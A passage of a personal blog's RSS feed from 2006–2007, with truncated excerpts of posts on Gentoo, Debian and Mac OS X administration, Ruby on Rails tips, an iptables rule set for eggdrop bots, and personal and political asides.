<description>I now have three Gentoo servers up and running.  I have distcc running on the first two so this third one's KDE compile is coming up pretty quick.  There's so many cool options for Gentoo now.  My /etc/make.conf files are a constant evolution as I run through more how-tos and stuff on the 'net.

I name my servers after the planets.  I haven't ever had more than nine servers going ...<br /><br /><a href="http://destiney.com/blog/gentoo-linux-stuff">http://destiney.com/blog/gentoo-linux-stuff</a><br /><br /></description>
<pubDate>Fri, 19 Jan 2007 15:08:54 UTC</pubDate>
<guid>http://destiney.com/blog/gentoo-linux-stuff</guid>
</item>
<item>
<title>You have to learn HTML first</title>
<link>http://destiney.com/blog/you-have-to-learn-html-first</link>
<description>I spent about two years back in the mid 90's learning HTML, and basic CSS.  I started out with a WYSIWYG editor called HotDog.  Some of you old timers might remember HotDog.  The special feature in HotDog I liked so much was how it had a code view as well as a rendered view of your HTML code[1].  This allowed me to learn HTML slowly, seeing exactly what each tag would do in any give...<br /><br /><a href="http://destiney.com/blog/you-have-to-learn-html-first">http://destiney.com/blog/you-have-to-learn-html-first</a><br /><br /></description>
<pubDate>Thu, 18 Jan 2007 22:10:29 UTC</pubDate>
<guid>http://destiney.com/blog/you-have-to-learn-html-first</guid>
</item>
<item>
<title>Ruby on Rails 1.2 Released</title>
<link>http://destiney.com/blog/ruby-rails-1-2-released</link>
<description>My favorite MVC framework made a major release today.  If you haven't tried Rails yet, you should.  If you tried it previously, you should try it again.<br /><br /><a href="http://destiney.com/blog/ruby-rails-1-2-released">http://destiney.com/blog/ruby-rails-1-2-released</a><br /><br /></description>
<pubDate>Thu, 18 Jan 2007 15:02:47 UTC</pubDate>
<guid>http://destiney.com/blog/ruby-rails-1-2-released</guid>
</item>
<item>
<title>Ruby has 100% genuine objects, no kidding!</title>
<link>http://destiney.com/blog/ruby-has-100-genuine-objects-no-kidding</link>
<description>I always wondered why Ruby does not implement the unary operator ++ like most other programming languages I've work with in the past.

Today it all makes sense.

In Ruby, everything is an object.  I've known that for quite a while but sometimes it's really easy to forget.  So repeat after me.. IN RUBY, EVERYTHING IS AN OBJECT.

Ok, now that we've got that settled..  :)

To e...<br /><br /><a href="http://destiney.com/blog/ruby-has-100-genuine-objects-no-kidding">http://destiney.com/blog/ruby-has-100-genuine-objects-no-kidding</a><br /><br /></description>
<pubDate>Fri, 12 Jan 2007 21:38:49 UTC</pubDate>
<guid>http://destiney.com/blog/ruby-has-100-genuine-objects-no-kidding</guid>
</item>
<item>
<title>Tales from the dog house</title>
<link>http://destiney.com/blog/tales-from-the-dog-house</link>
<description>Another one bites the dust:

Tales from the dog house<br /><br /><a href="http://destiney.com/blog/tales-from-the-dog-house">http://destiney.com/blog/tales-from-the-dog-house</a><br /><br /></description>
<pubDate>Mon, 08 Jan 2007 16:54:14 UTC</pubDate>
<guid>http://destiney.com/blog/tales-from-the-dog-house</guid>
</item>
<item>
<title>Gentoo 2006.1</title>
<link>http://destiney.com/blog/gentoo-2006-1</link>
<description>I decided to have a look at Gentoo Linux.  I'm an old Gentoo fan/user but I haven't installed it on any of my servers for a while.. this Ubuntu thing had been working so well and all.

The Live-CD was kinda neat.  I got to a Gnome desktop and tried the curses-based installer.  It ran and I went to bed since it was pretty late already.  The installer crashed sometime during the nig...<br /><br /><a href="http://destiney.com/blog/gentoo-2006-1">http://destiney.com/blog/gentoo-2006-1</a><br /><br /></description>
<pubDate>Sat, 06 Jan 2007 16:23:18 UTC</pubDate>
<guid>http://destiney.com/blog/gentoo-2006-1</guid>
</item>
<item>
<title>Looking for a needle not actually in the haystack..</title>
<link>http://destiney.com/blog/looking-for-a-needle-not-actually-in-the-haystack</link>
<description>The DNA so dangerous it does not exist

So.. scientists are trying to develop something that kills itself very quickly? Isn't that gonna keep it from getting propagated very far?  Weird.<br /><br /><a href="http://destiney.com/blog/looking-for-a-needle-not-actually-in-the-haystack">http://destiney.com/blog/looking-for-a-needle-not-actually-in-the-haystack</a><br /><br /></description>
<pubDate>Thu, 04 Jan 2007 13:53:02 UTC</pubDate>
<guid>http://destiney.com/blog/looking-for-a-needle-not-actually-in-the-haystack</guid>
</item>
<item>
<title>Another Brilliant Olbermann piece</title>
<link>http://destiney.com/blog/another-brilliant-olbermann-piece</link>
<description>Wouldn't make a bad president would he?

More Bush bashing.

<br /><br /><a href="http://destiney.com/blog/another-brilliant-olbermann-piece">http://destiney.com/blog/another-brilliant-olbermann-piece</a><br /><br /></description>
<pubDate>Wed, 03 Jan 2007 16:25:34 UTC</pubDate>
<guid>http://destiney.com/blog/another-brilliant-olbermann-piece</guid>
</item>
<item>
<title>MySQL Screwing Up</title>
<link>http://destiney.com/blog/mysql-screwing-up</link>
<description>I found this blog entry while reading RSS feeds today.

/me waits for you to go read the article and come back..

It's sad really.

MySQL has always been touted as one of the most profitable opensource companies of all time. I suppose I would begin to use PostgreSQL if MySQL source code actually becomes unavailable.<br /><br /><a href="http://destiney.com/blog/mysql-screwing-up">http://destiney.com/blog/mysql-screwing-up</a><br /><br /></description>
<pubDate>Sat, 30 Dec 2006 14:26:13 UTC</pubDate>
<guid>http://destiney.com/blog/mysql-screwing-up</guid>
</item>
<item>
<title>Lighttpd proxied under Apache on Mac OS X</title>
<link>http://destiney.com/blog/lighttpd-proxied-under-apache-mac-os-x</link>
<description>Here's a how-to to show you how to run a local (development mode) Rubyonrails application using Lighttpd proxied under an Apache vhost on Mac OS X.  You can use this same configuration in a production environment with a few minor changes.

First, make some directories in your home directory.  The Lighttpd process will run as your user and will live in your home directory, logs, pi...<br /><br /><a href="http://destiney.com/blog/lighttpd-proxied-under-apache-mac-os-x">http://destiney.com/blog/lighttpd-proxied-under-apache-mac-os-x</a><br /><br /></description>
<pubDate>Thu, 21 Dec 2006 01:49:04 UTC</pubDate>
<guid>http://destiney.com/blog/lighttpd-proxied-under-apache-mac-os-x</guid>
</item>
<item>
<title>Car Wreck</title>
<link>http://destiney.com/blog/car-wreck</link>
<description>I was in a minor incident tonight. I was out with my brother, Billy. I had just turned right after stopping at a red light. The guy behind me bumped into my rear bumper on the right side. There was a police officer directly behind him. Everyone pulled over and the blue lights went on.

My brother got out on the passenger side. He ran around the back of my car and layed on the grou...<br /><br /><a href="http://destiney.com/blog/car-wreck">http://destiney.com/blog/car-wreck</a><br /><br /></description>
<pubDate>Fri, 08 Dec 2006 23:05:38 UTC</pubDate>
<guid>http://destiney.com/blog/car-wreck</guid>
</item>
<item>
<title>Ruby gems sync list</title>
<link>http://destiney.com/blog/ruby-gems-sync-list</link>
<description>If you need to sync up the installed Ruby gems on one machine with another you need a quick way to get the current gem list.  Here's my simple script that does just that:


#!/bin/sh

for x in `gem list --local \
  | grep '(' \
  | sort \
  | awk 'BEGIN { FS = &amp;quot; &amp;quot; } { print $1 }'`; do
  echo &amp;quot;gem install $x&amp;quot;
done
<br /><br /><a href="http://destiney.com/blog/ruby-gems-sync-list">http://destiney.com/blog/ruby-gems-sync-list</a><br /><br /></description>
<pubDate>Thu, 07 Dec 2006 17:15:43 UTC</pubDate>
<guid>http://destiney.com/blog/ruby-gems-sync-list</guid>
</item>
<item>
<title>Multi-threaded OpenGL WoW on Intel Macs</title>
<link>http://destiney.com/blog/multi-threaded-opengl-wow-intel-macs</link>
<description>Oh happy day!

WoW update adds multi-threaded OpenGL on Intel Macs

I'm getting 140+ fps in some areas now!

Oh yeah and I found this cool map too.<br /><br /><a href="http://destiney.com/blog/multi-threaded-opengl-wow-intel-macs">http://destiney.com/blog/multi-threaded-opengl-wow-intel-macs</a><br /><br /></description>
<pubDate>Wed, 06 Dec 2006 20:16:58 UTC</pubDate>
<guid>http://destiney.com/blog/multi-threaded-opengl-wow-intel-macs</guid>
</item>
<item>
<title>Eggdrop iptables firewall rules</title>
<link>http://destiney.com/blog/eggdrop-iptables-firewall-rules</link>
<description>Do you run a bunch of networked eggdrops on Linux?  You realize they talk to each other over telnet which is unencrypted right?  You didn't know that?  Hmm..  Here's how you lock your hub bot down so it only talks to leaf bots from trusted hosts:


#!/bin/bash

LEAFS=(&amp;quot;12.34.56.78&amp;quot; &amp;quot;21.43.65.87&amp;quot;)

for LEAF in ${LEAFS[@]}; do
  iptables -A INPUT -s ${LEAF}...<br /><br /><a href="http://destiney.com/blog/eggdrop-iptables-firewall-rules">http://destiney.com/blog/eggdrop-iptables-firewall-rules</a><br /><br /></description>
<pubDate>Wed, 06 Dec 2006 13:39:20 UTC</pubDate>
<guid>http://destiney.com/blog/eggdrop-iptables-firewall-rules</guid>
</item>
<item>
<title>Debian rc.local howto</title>
<link>http://destiney.com/blog/debian-rc-local-howto</link>
<description>If you're using a flavor of *nix that has an rc.local file, and then you start using Debian GNU/Linux, you might be wondering where your rc.local file is.  Quite simply, it's not there.  Here's how to add it.

Create a new file named /etc/init.d/local like this:


#!/bin/sh
# put startup stuff here


Make the file executable:


chmod 755 /etc/init.d/local


Add it to ...<br /><br /><a href="http://destiney.com/blog/debian-rc-local-howto">http://destiney.com/blog/debian-rc-local-howto</a><br /><br /></description>
<pubDate>Tue, 05 Dec 2006 21:04:42 UTC</pubDate>
<guid>http://destiney.com/blog/debian-rc-local-howto</guid>
</item>
<item>
<title>Debian GNU/Linux Kernel Howto</title>
<link>http://destiney.com/blog/debian-gnu-linux-kernel-howto</link>
<description>Here's a quick howto for building a recent 2.6 Linux kernel on your Debian box:

Do all this as root:


su -


Make sure you have the required tools and libraries:


apt-get install module-init-tools initrd-tools procps libncurses5-dev kernel-package fakeroot


Download and unarchive a kernel:


cd /usr/src
wget http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.19....<br /><br /><a href="http://destiney.com/blog/debian-gnu-linux-kernel-howto">http://destiney.com/blog/debian-gnu-linux-kernel-howto</a><br /><br /></description>
<pubDate>Sun, 03 Dec 2006 15:34:21 UTC</pubDate>
<guid>http://destiney.com/blog/debian-gnu-linux-kernel-howto</guid>
</item>
<item>
<title>Rubyonrails select helper</title>
<link>http://destiney.com/blog/rubyonrails-select-helper</link>
<description>It is possible to use the select helper to produce a working multi option select list. First here is how not to do it:


&amp;lt;%= select 'group',
           'user_id[]',
           @users.collect { |u| [ u.name, u.id ] },
           {},
           { :multiple =&amp;gt; true,
             :size     =&amp;gt; @users.size } %&amp;gt;


And this isn't even close:


&amp;lt;%= select 'group'...<br /><br /><a href="http://destiney.com/blog/rubyonrails-select-helper">http://destiney.com/blog/rubyonrails-select-helper</a><br /><br /></description>
<pubDate>Thu, 09 Nov 2006 23:51:59 UTC</pubDate>
<guid>http://destiney.com/blog/rubyonrails-select-helper</guid>
</item>
<item>
<title>Rumsfield leaving office</title>
<link>http://destiney.com/blog/rumsfield-leaving-office</link>
<description>It's all over the internet, here's a couple of links:

Associated Press

CNN

Wired<br /><br /><a href="http://destiney.com/blog/rumsfield-leaving-office">http://destiney.com/blog/rumsfield-leaving-office</a><br /><br /></description>
<pubDate>Wed, 08 Nov 2006 19:31:44 UTC</pubDate>
<guid>http://destiney.com/blog/rumsfield-leaving-office</guid>
</item>
<item>
<title>Ubuntu Edgy Eft Released</title>
<link>http://destiney.com/blog/ubuntu-edgy-eft-released</link>
<description>The Ubuntu team is proud to announce the release of Ubuntu 6.10, codenamed &amp;quot;Edgy Eft&amp;quot;. This release includes both installable Desktop CDs and alternate text-mode installation CDs for several architectures.

Ubuntu is a Linux distribution for your desktop or server, with a fast and easy install, regular releases, a tight selection of excellent packages installed by defaul...<br /><br /><a href="http://destiney.com/blog/ubuntu-edgy-eft-released">http://destiney.com/blog/ubuntu-edgy-eft-released</a><br /><br /></description>
<pubDate>Thu, 26 Oct 2006 16:46:06 UTC</pubDate>
<guid>http://destiney.com/blog/ubuntu-edgy-eft-released</guid>
</item>
<item>
<title>Keith Olbermann slams Rush Limbaugh</title>
<link>http://destiney.com/blog/keith-olbermann-slams-rush-limbaugh</link>
<description>By now everyone has heard Limbaugh's little commentary about Michael J. Fox's appearance in the ad for Claire McCaskill. Well tonight Keith Olbermann supplied us with the visual to accompany Rush's latest show of idiocy.

Limbaughs attack on Michael J. Fox<br /><br /><a href="http://destiney.com/blog/keith-olbermann-slams-rush-limbaugh">http://destiney.com/blog/keith-olbermann-slams-rush-limbaugh</a><br /><br /></description>
<pubDate>Thu, 26 Oct 2006 16:39:31 UTC</pubDate>
<guid>http://destiney.com/blog/keith-olbermann-slams-rush-limbaugh</guid>
</item>
<item>
<title>Hilarious Bush Impersonation</title>
<link>http://destiney.com/blog/hilarious-bush-impersonation</link>
<description>Hilarious Bush Impersonation:

http://www.youtube.com/watch?v=i7Iyu-iAqek<br /><br /><a href="http://destiney.com/blog/hilarious-bush-impersonation">http://destiney.com/blog/hilarious-bush-impersonation</a><br /><br /></description>
<pubDate>Thu, 26 Oct 2006 16:34:26 UTC</pubDate>
<guid>http://destiney.com/blog/hilarious-bush-impersonation</guid>
</item>
<item>
<title>Keith Olbermann - A True American Hero</title>
<link>http://destiney.com/blog/keith-olbermann-a-true-american-hero</link>
<description>Linking to content isn't really something I do a lot of, that's what RSS feeds are for! But every now and then something comes along, something so true and correct and right-on that I can't help but wish I had written it or otherwise been involved in it's creation in some way.

So, yeah.. go read this:

Keith Olbermann - A True American Hero <br /><br /><a href="http://destiney.com/blog/keith-olbermann-a-true-american-hero">http://destiney.com/blog/keith-olbermann-a-true-american-hero</a><br /><br /></description>
<pubDate>Mon, 23 Oct 2006 21:31:05 UTC</pubDate>
<guid>http://destiney.com/blog/keith-olbermann-a-true-american-hero</guid>
</item>
<item>
<title>Just trying to get some gas is all!</title>
<link>http://destiney.com/blog/just-trying-to-get-some-gas-is-all</link>
<description>I pulled into my local BP gas station this morning to get gas. I hopped out, pushed and pulled my bank card from the slot and got nothing but a bunch of beeping noises. I waited for a couple minutes to see if the machine was going to work itself out or not. Nothing. I walked into the store and told the lady what was going on. She acted angry at the pump and told me to please try ano...<br /><br /><a href="http://destiney.com/blog/just-trying-to-get-some-gas-is-all">http://destiney.com/blog/just-trying-to-get-some-gas-is-all</a><br /><br /></description>
<pubDate>Fri, 20 Oct 2006 15:21:26 UTC</pubDate>
<guid>http://destiney.com/blog/just-trying-to-get-some-gas-is-all</guid>
</item>
<item>
<title>Big companies suck..  always.</title>
<link>http://destiney.com/blog/big-companies-suck-always</link>
<description>Trying to check phone messages on my residential land line this morning was a no-go. The number I've been calling for several years suddenly stopped working today. It was treating me as if I were an outside caller trying to leave a message instead of just giving me the messages. I called the phone company and had to go through some automated &amp;quot;crap&amp;quot; before I could even spea...<br /><br /><a href="http://destiney.com/blog/big-companies-suck-always">http://destiney.com/blog/big-companies-suck-always</a><br /><br /></description>
<pubDate>Fri, 20 Oct 2006 15:08:27 UTC</pubDate>
<guid>http://destiney.com/blog/big-companies-suck-always</guid>
</item>
<item>
<title>Death by caffeine</title>
<link>http://destiney.com/blog/death-by-caffeine</link>
<description>This site says for my body weight, 210lbs, I would need to gulp down 260.59 cans of Mountain Dew to die instantly. W00t!

Try it yourself: http://www.energyfiend.com/death-by-caffeine/<br /><br /><a href="http://destiney.com/blog/death-by-caffeine">http://destiney.com/blog/death-by-caffeine</a><br /><br /></description>
<pubDate>Thu, 19 Oct 2006 12:22:17 UTC</pubDate>
<guid>http://destiney.com/blog/death-by-caffeine</guid>
</item>
<item>
<title>New password rules</title>
<link>http://destiney.com/blog/new-password-rules</link>
<description>As a programmer, I am constantly creating new passwords for clients, ftp logins, ssh access, htaccess, you name it. I use pwgen mostly, unless the client specifies a password in advance. I really like pwgen because I can get a bunch of passwords at once at most any level of strength or length. I have an alias on my system for my prefered defaults:


alias pwgen='pwgen 10 -s'

...<br /><br /><a href="http://destiney.com/blog/new-password-rules">http://destiney.com/blog/new-password-rules</a><br /><br /></description>
<pubDate>Wed, 18 Oct 2006 18:31:54 UTC</pubDate>
<guid>http://destiney.com/blog/new-password-rules</guid>
</item>
<item>
<title>Slashdot is obsolete and here's why</title>
<link>http://destiney.com/blog/slashdot-is-obsolete-here-s-why</link>
<description>It's a sad thing to admit but I've been thinking about Slashdot off and on for several months now. I'm a long-time Slashdot member, making comments about article postings, even drawing some flames at times from other posters who disagree with me. It's all good fun sharing opinions with other nerds.I think Slashdot's days are numbered. And here's why:

News arrives late.

I've fo...<br /><br /><a href="http://destiney.com/blog/slashdot-is-obsolete-here-s-why">http://destiney.com/blog/slashdot-is-obsolete-here-s-why</a><br /><br /></description>
<pubDate>Wed, 18 Oct 2006 16:33:18 UTC</pubDate>
<guid>http://destiney.com/blog/slashdot-is-obsolete-here-s-why</guid>
</item>
<item>
<title>RSS Feed</title>
<link>http://destiney.com/blog/rss-feed</link>
<description>I finally got around to publishing my blog entries as an RSS feed. It was pretty simple once I actually got down to doing the work.

Here's the link: http://destiney.com/rss<br /><br /><a href="http://destiney.com/blog/rss-feed">http://destiney.com/blog/rss-feed</a><br /><br /></description>
<pubDate>Mon, 16 Oct 2006 01:14:14 UTC</pubDate>
<guid>http://destiney.com/blog/rss-feed</guid>
</item>
<item>
<title>Green Lantern</title>
<link>http://destiney.com/blog/green-lantern</link>
<description>Seems I'm Green Lantern



  
  
  
    Green Lantern
    
    70%
  
  
    Batman
    
    65%
  
  
    Spider-Man
    
    60%
  
  
    Iron Man
    
    55%
  
  
    The Flash
    
    55%
  
  
    Supergirl
    
    50%
  
  
    Hulk
    
    50%
  
  
    Catwoman
    
    45%
  
  
    Robin
    
    42%
  
  
    Super...<br /><br /><a href="http://destiney.com/blog/green-lantern">http://destiney.com/blog/green-lantern</a><br /><br /></description>
<pubDate>Fri, 13 Oct 2006 16:35:51 UTC</pubDate>
<guid>http://destiney.com/blog/green-lantern</guid>
</item>
<item>
<title>Digital Dog Interview</title>
<link>http://destiney.com/blog/digital-dog-interview</link>
<description>Oh my word is this some funny stuff:

http://www.pixelshock.com/theInterview/

I used to work there, and it's all pretty much true to the letter.

Oh yeah, and Steve.. if you're reading this, where the hell is my art? :)
<br /><br /><a href="http://destiney.com/blog/digital-dog-interview">http://destiney.com/blog/digital-dog-interview</a><br /><br /></description>
<pubDate>Tue, 26 Sep 2006 01:58:47 UTC</pubDate>
<guid>http://destiney.com/blog/digital-dog-interview</guid>
</item>
<item>
<title>Rails breakpointer</title>
<link>http://destiney.com/blog/rails-breakpointer</link>
<description>I sometimes help people out with Rails and Ruby coding issues in #rubyonrails on EFNet. One of the biggest issue most of them have is a lack of knowledge of what tools they have available for debugging when using Rails. script/breakpointer is an awesome tool when it comes to Rails debugging. Here's how to use it:

Start a new terminal or command prompt or whtever sort of shell you...<br /><br /><a href="http://destiney.com/blog/rails-breakpointer">http://destiney.com/blog/rails-breakpointer</a><br /><br /></description>
<pubDate>Fri, 22 Sep 2006 16:04:35 UTC</pubDate>
<guid>http://destiney.com/blog/rails-breakpointer</guid>
</item>
<item>
<title>PHP OO slowness is (not) bogus?</title>
<link>http://destiney.com/blog/php-oo-slowness-is-not-bogus</link>
<description>So this guy, let's call him Ronald, told me about a bug report someone filed against PHP 5.1.6:

http://bugs.php.net/bug.php?id=38630

The bug report includes a link to my benchmarks I wrote against and early version of PHP 5:

http://destiney.com/benchmarks/db_insert_select

The funny thing is the PHP developer who responded thinks it's &amp;quot;normal&amp;quot; for OO style PHP t...<br /><br /><a href="http://destiney.com/blog/php-oo-slowness-is-not-bogus">http://destiney.com/blog/php-oo-slowness-is-not-bogus</a><br /><br /></description>
<pubDate>Tue, 29 Aug 2006 14:32:09 UTC</pubDate>
<guid>http://destiney.com/blog/php-oo-slowness-is-not-bogus</guid>
</item>
<item>
<title>script/breakpointer broken?</title>
<link>http://destiney.com/blog/script-breakpointer-broken</link>
<description>If your script/breakpointer doesn't work, try starting it like this:



script/breakpointer -c druby://localhost:12345

<br /><br /><a href="http://destiney.com/blog/script-breakpointer-broken">http://destiney.com/blog/script-breakpointer-broken</a><br /><br /></description>
<pubDate>Wed, 09 Aug 2006 00:49:33 UTC</pubDate>
<guid>http://destiney.com/blog/script-breakpointer-broken</guid>
</item>
<item>
<title>PHP 4 and 5 on MacOS X</title>
<link>http://destiney.com/blog/php-4-5-macos-x</link>
<description>Install latest Xcode and Macports (Darwinports) first.

Install PHP dependencies:


sudo port install \
  jpeg \
  libpng \
  freetype \
  tiff \
  XFree86 \
  gettext \
  xpm \
  libmcrypt \
  mhash


PHP 4:


./configure \
  --prefix=/usr/local/php4 \
  --with-config-file-path=/usr/local/php4/lib \
  --with-apxs=/usr/sbin/apxs \
  --with-curl \
  --with-ge...<br /><br /><a href="http://destiney.com/blog/php-4-5-macos-x">http://destiney.com/blog/php-4-5-macos-x</a><br /><br /></description>
<pubDate>Mon, 07 Aug 2006 04:50:12 UTC</pubDate>
<guid>http://destiney.com/blog/php-4-5-macos-x</guid>
</item>
<item>
<title>MacOS X updatedb</title>
<link>http://destiney.com/blog/macos-x-updatedb</link>
<description>A new MacOS X install has no locate database.  If you don't want to wait for the weekly cron to run, do this:


ln -s /usr/libexec/locate.updatedb /usr/bin/updatedb

updatedb


Now the 'locate' command will actually return something!<br /><br /><a href="http://destiney.com/blog/macos-x-updatedb">http://destiney.com/blog/macos-x-updatedb</a><br /><br /></description>
<pubDate>Mon, 07 Aug 2006 00:50:22 UTC</pubDate>
<guid>http://destiney.com/blog/macos-x-updatedb</guid>
</item>
<item>
<title>My $3500 Text Editor Haiku</title>
<link>http://destiney.com/blog/my-3500-text-editor-haiku</link>
<description>On my drive home from work today I thought up a haiku.

3.5K MacTextmate runs only on macsI code with TextMate

Most haikus I've read sound dumb.  This one seems to fit the pattern.<br /><br /><a href="http://destiney.com/blog/my-3500-text-editor-haiku">http://destiney.com/blog/my-3500-text-editor-haiku</a><br /><br /></description>
<pubDate>Wed, 12 Jul 2006 23:25:44 UTC</pubDate>
<guid>http://destiney.com/blog/my-3500-text-editor-haiku</guid>
</item>
<item>
<title>Rails form_tag</title>
<link>http://destiney.com/blog/rails-form-tag</link>
<description>Consider the api definition for form_tag:


form_tag( url_for_options = {},
          options = {},
          *parameters_for_url,
          &amp;amp;proc)


This form_tag:


&amp;lt;%= form_tag( :action =&amp;gt; 'upload',
              :multipart =&amp;gt; true ) %&amp;gt;


Produces this:


&amp;lt;form action=&amp;quot;/home/upload?multipart=true&amp;quot;
method=&amp;quot;post&amp;quot;&amp;gt;


w...<br /><br /><a href="http://destiney.com/blog/rails-form-tag">http://destiney.com/blog/rails-form-tag</a><br /><br /></description>
<pubDate>Fri, 07 Jul 2006 00:32:52 UTC</pubDate>
<guid>http://destiney.com/blog/rails-form-tag</guid>
</item>
<item>
<title>Universal Studios Entrance</title>
<link>http://destiney.com/blog/universal-studios-entrance</link>
<description>This is a clip from my Florida vacation this past spring.  My wife Andrea is recording the entrance and runway at Universal Studios Orlando FL.

http://www.youtube.com/watch?v=UBSmdQid2Xs<br /><br /><a href="http://destiney.com/blog/universal-studios-entrance">http://destiney.com/blog/universal-studios-entrance</a><br /><br /></description>
<pubDate>Tue, 04 Jul 2006 17:55:01 UTC</pubDate>
<guid>http://destiney.com/blog/universal-studios-entrance</guid>
</item>
<item>
<title>Dueling Dragons</title>
<link>http://destiney.com/blog/dueling-dragons</link>
<description>This is a clip from my Florida vacation this past spring.  My wife Andrea is recording a ride on Dueling Dragons at Universal Studios Orlando FL.

http://www.youtube.com/watch?v=SxOOy0kjEy4<br /><br /><a href="http://destiney.com/blog/dueling-dragons">http://destiney.com/blog/dueling-dragons</a><br /><br /></description>
<pubDate>Tue, 04 Jul 2006 16:16:26 UTC</pubDate>
<guid>http://destiney.com/blog/dueling-dragons</guid>
</item>
<item>
<title>The Hulk</title>
<link>http://destiney.com/blog/the-hulk</link>
<description>This is a clip from my Florida vacation this past spring.  My wife Andrea is recording a ride on The Hulk at Universal Studios Orlando FL.

http://www.youtube.com/watch?v=R9EuTQ-3uco<br /><br /><a href="http://destiney.com/blog/the-hulk">http://destiney.com/blog/the-hulk</a><br /><br /></description>
<pubDate>Tue, 04 Jul 2006 15:24:56 UTC</pubDate>
<guid>http://destiney.com/blog/the-hulk</guid>
</item>
<item>
<title>Hailstorm</title>
<link>http://destiney.com/blog/hailstorm</link>
<description>My wife Andrea taped the hail storm that caused over $8K worth of damage to our cars collectively. I added some old guitar riffs I recorded a long time ago. Enjoy.

http://www.youtube.com/watch?v=PKhG8INo8ms<br /><br /><a href="http://destiney.com/blog/hailstorm">http://destiney.com/blog/hailstorm</a><br /><br /></description>
<pubDate>Thu, 29 Jun 2006 03:21:43 UTC</pubDate>
<guid>http://destiney.com/blog/hailstorm</guid>
</item>
<item>
<title>Xgl on Suse 10.1</title>
<link>http://destiney.com/blog/xgl-suse-10-1</link>
<description>I've always been a big fan of Suse Linux. Of all the RPM-based distros I've tried it seems to be the most sane. But seriously I think Suse Linux has good gui tools to manage the overall OS.  I'm by no means scared of the command line but it helps for things to just work sometimes.

Recently the Xgl stuff has become increasingly popular so I gave it a whirl.  It's amazing how light...<br /><br /><a href="http://destiney.com/blog/xgl-suse-10-1">http://destiney.com/blog/xgl-suse-10-1</a><br /><br /></description>
<pubDate>Sun, 04 Jun 2006 13:55:13 UTC</pubDate>
<guid>http://destiney.com/blog/xgl-suse-10-1</guid>
</item>
<item>
<title>Website Graph</title>
<link>http://destiney.com/blog/website-graph</link>
<description>Java applets usually do not interest me, but every now and then a really cool will come along.  I found on that shows a graphical tree representation for a given website.

Check out destiney.com.<br /><br /><a href="http://destiney.com/blog/website-graph">http://destiney.com/blog/website-graph</a><br /><br /></description>
<pubDate>Sat, 03 Jun 2006 18:22:38 UTC</pubDate>
<guid>http://destiney.com/blog/website-graph</guid>
</item>
<item>
<title>Book: Ruby for Rails</title>
<link>http://destiney.com/blog/book-ruby-for-rails</link>
<description>I am reading the book Ruby for Rails by David Black. This book is beginner level for web developers wanting to get started with Ruby on Rails and have little or no Ruby experience.

The author uses a lot of words to express his points. The same things could be said with much fewer words.

The book has good coverage of everything you need to know about Ruby to make good use of Ru...<br /><br /><a href="http://destiney.com/blog/book-ruby-for-rails">http://destiney.com/blog/book-ruby-for-rails</a><br /><br /></description>
<pubDate>Sat, 03 Jun 2006 06:11:33 UTC</pubDate>
<guid>http://destiney.com/blog/book-ruby-for-rails</guid>
</item>
<item>
<title>Caution..  n00b Mac OS X user at large.</title>
<link>http://destiney.com/blog/caution-n00b-mac-os-x-user-at-large</link>
<description>Recently I purchased a new MacBook Pro from Apple. I got the 15.4&amp;quot; model with the 2.16 GHz duo core processor. I got an L270 Logitech mouse, and a very nice Brenthaven case. This machine is very fast. I'm even beginning to get used to the weirdness of a few things:

Weirdness #1

Safari seems like a good web browser but I'm not much into RSS feeds and as a web developer I p...<br /><br /><a href="http://destiney.com/blog/caution-n00b-mac-os-x-user-at-large">http://destiney.com/blog/caution-n00b-mac-os-x-user-at-large</a><br /><br /></description>
<pubDate>Thu, 01 Jun 2006 19:16:12 UTC</pubDate>
<guid>http://destiney.com/blog/caution-n00b-mac-os-x-user-at-large</guid>
</item>
<item>
<title>Live Search</title>
<link>http://destiney.com/blog/live-search</link>
<description>I finally got around to adding a search feature to my site.  It is an ajax-based realtime search setup.  It searches both my content database and my blog entries database.

I hope it doesn't cause too much database load..  hopefully not since I have indexing on all the searched fields.<br /><br /><a href="http://destiney.com/blog/live-search">http://destiney.com/blog/live-search</a><br /><br /></description>
<pubDate>Mon, 22 May 2006 02:19:34 UTC</pubDate>
<guid>http://destiney.com/blog/live-search</guid>
</item>
<item>
<title>The Davinci Code</title>
<link>http://destiney.com/blog/the-davinci-code</link>
<description>I went to see The Davinci Code.  It was pretty much like the book, with a few minor differences.  For example the book made you think there was a chance for some romance at the end between Sofi and Robert, but the movie basically left that part out.

The movie was long, 2 and half hours.  There didn't seem to be a lot of kids in the theatre thankfully.

The acting was good, but ...<br /><br /><a href="http://destiney.com/blog/the-davinci-code">http://destiney.com/blog/the-davinci-code</a><br /><br /></description>
<pubDate>Sun, 21 May 2006 18:29:40 UTC</pubDate>
<guid>http://destiney.com/blog/the-davinci-code</guid>
</item>
<item>
<title>FreeBSD note</title>
<link>http://destiney.com/blog/freebsd-note</link>
<description>When building a new FreeBSD kernel, you are instructed to execute


boot -s


to boot into single user mode. I was unable to locate anything executable named 'boot' on my system.  Instead I did


shutdown now
<br /><br /><a href="http://destiney.com/blog/freebsd-note">http://destiney.com/blog/freebsd-note</a><br /><br /></description>
<pubDate>Wed, 10 May 2006 23:59:00 UTC</pubDate>
<guid>http://destiney.com/blog/freebsd-note</guid>
</item>
<item>
<title>Testing..  1. 2.</title>
<link>http://destiney.com/blog/testing-1-2</link>
<description>After a while of writing code to make this site do what I want it to do, followed by an admin site to control all the data I want to store, I am finally getting around to writing some tests.

So far I have a basic unit test for each model and its fixtures, and tonight I finished a css tester. The CSS test uploads each style sheet it finds to the w3.org validator and processes the ...<br /><br /><a href="http://destiney.com/blog/testing-1-2">http://destiney.com/blog/testing-1-2</a><br /><br /></description>
<pubDate>Wed, 10 May 2006 02:30:34 UTC</pubDate>
<guid>http://destiney.com/blog/testing-1-2</guid>
</item>
<item>
<title>New Paste Revision</title>
<link>http://destiney.com/blog/new-paste-revision</link>
<description>I added some new functionality to my pastebin site.  I added a live search that uses an observer to fetch search results without leaving the page.

I also added a real-time autocomplete features to the new post form.  You start typing your nick and it provides nicks that have already posted something with that nick.  Same thing happens with the email address field but I think I ma...<br /><br /><a href="http://destiney.com/blog/new-paste-revision">http://destiney.com/blog/new-paste-revision</a><br /><br /></description>
<pubDate>Mon, 03 Apr 2006 04:32:00 UTC</pubDate>
<guid>http://destiney.com/blog/new-paste-revision</guid>
</item>
<item>
<title>link_to</title>
<link>http://destiney.com/blog/link-to</link>
<description>If you need to add a css class to a link_to(), do this:


&amp;lt;%= link_to 'Admin Home',
            { :controller =&gt; 'home',
              :action     =&gt; 'index' },
              :class      =&gt; 'selected' %&amp;gt;


not this:


&amp;lt;%= link_to 'Admin Home',
